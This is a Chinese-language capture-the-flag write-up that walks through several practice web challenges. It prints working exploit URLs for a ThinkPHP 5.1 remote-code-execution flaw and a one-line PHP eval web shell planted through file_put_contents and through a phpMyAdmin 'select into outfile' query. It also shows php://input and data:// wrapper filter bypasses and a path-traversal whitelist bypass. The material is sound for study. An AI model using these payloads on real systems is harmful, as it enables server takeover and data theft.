提示:想想初始页面是哪个
难度一星不高,看在刚结束入门进入进阶,所以前面不放难的,那我们也将就不用脑子,提示是初始页面,直接F12:
没flag,猜错,那就抓包尝试send to repeater:
结束
提示:无
提到了robots.txt,那就进入robots.txt看下:
又出现了一个fl0g.php文件,并且禁止访问?那再次进入这个文件查看:
成功
提示:无
直接点击几个连接,发现全是广告,没什么有用的信息==。
没有下手点,而根据题目rce知道可能和什么漏洞有关,网上查找许就突然发现是ThinkPHP 5.1版本的漏洞问题,也就是说我们可以开个后门,查找了一下方法:
比如:通过长途代码注入实行phpinfo语句:
http://111.198.29.45:58309/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
而我们也可以通过这个插入一个后门,作用是创建一个名叫muma.php的文件,后门密码是12345(注意:php和@之间一定要有空格):
http://111.198.29.45:58309/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=muma.php&vars[1][]=<?php @eval($_POST[12345]);?>
运行以后网页会返回文件的大小:
然后查看访问下我们创建的muma.php文件:
貌似没报错,直接打开蚁剑指向插入的文件,输入密码并且测试连接:
开始进去根目录找flag相关的文件:
成功
先日常dirsearch.py检索一下:
发现phpmyadmin文件,先直接打开,尝试账号root,密码为空的管理员身份进入,发现成功了:
SQL注入一句话:
select "" into outfile "/tmp/muma.php"
linux默认tmp是可写目录
即在路径/tmp/路径创建一个muma.php文件并且写入一句话“”,点击执行:
打开蚁剑,连接这个地址中我们插入的文件,密码为我们设置的123:
连接成功后,发现这个奇怪的php文件,打开既是密钥:
相比于上一步无脑走程序,这次我们对php代码进行解析:
大致意思是当page的值中有php://时进入while循环,并且在循环中把page值中出现的php://替换成空格。那么php://是什么?它是伪协议的一种,也就是说这一题把php://伪协议给ban了,但是仔细一看,strstr() 函数是要区分大小写的,而在php中不以区分,则可以用Php://来替代php://绕过(反正随便有几个大写就行),而绕过以后可以靠下面的include()来执行page中的代码,这样看可能是可行的,则赋值:page=Php://input
其作用是:可以读取没有处理过的POST数据(具体在笔记)
然后执行抓包send to repeater:
之后可以开始写入执行的php代码,sent后发现fl4gisisish3r3.php文件:
重新修改下需要执行的代码内容sent:
使用另一个伪协议data来绕过:
具体用法为:?page=data://text/plain,+命令语言
找到文件后,再使用file_get_contents读取该文件下的内容:
http://111.198.29.45:54924/?page=data://text/plain,%3C?php%20$a_code%20=%20file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a_code)?%3E
:
进入界面除了一个滑稽什么都没有,查看源码发现有个提示为source.php
进入source.php以后发现源码:
大致看了一眼看到hint.php,再次进入:
发现唯一的线索只是flag存在ffffllllaaaagggg中,具体还是要返回source.php解读源码。全部源码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
#此处是个白名单数组,isset()判断page是否为空
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
#第一次判断page是否在数组中
if (in_array($page, $whitelist)) {
return true;
}
#_page取值为page中"?"前面的部分
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
#第二次判断page是否在数组中
if (in_array($_page, $whitelist)) {
return true;
}
#_page取值为page经过url解码的值。之后同样进行取值为_page中"?"前面的部分
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
#第三次判断page是否在数组中
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
又是一题考察文件包含的题目,那么这题最终就是如何给include $_REQUEST['file']
中的file赋值的问题。
首先file必须包含在这个数组,即前提赋值为source.php或者hint.php,之后通过这三次判断,使得值返回true,并且能指向这个ffffllllaaaagggg文件:
测试证明以下均可正确执行,(其中%3f、%253f分别是"?"的一次url、两次url加密;而第一个/是指向根目录,之后一堆/…/…/…/是目录级数,可以有多个都没关系,但是之后貌似有说ffffllllaaaagggg每个都是4个字母,即提示是4级目录):
http://111.198.29.45:35953/?file=source.php?/../../../../../ffffllllaaaagggg
,
http://111.198.29.45:35953/%3ffile=source.php?/../../../../../ffffllllaaaagggg
,
http://111.198.29.45:35953/%253ffile=source.php?/../../../../../ffffllllaaaagggg
,
http://111.198.29.45:35953/?file=hint.php?/../../../../../../ffffllllaaaagggg
,
http://111.198.29.45:35953/%3ffile=hint.php?/../../../../../ffffllllaaaagggg
,
http://111.198.29.45:35953/%253ffile=hint.php?/../../../../../ffffllllaaaagggg
提示 :云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
纯爆破== ,id值从1到10000爆,久的一,最终id值为2333.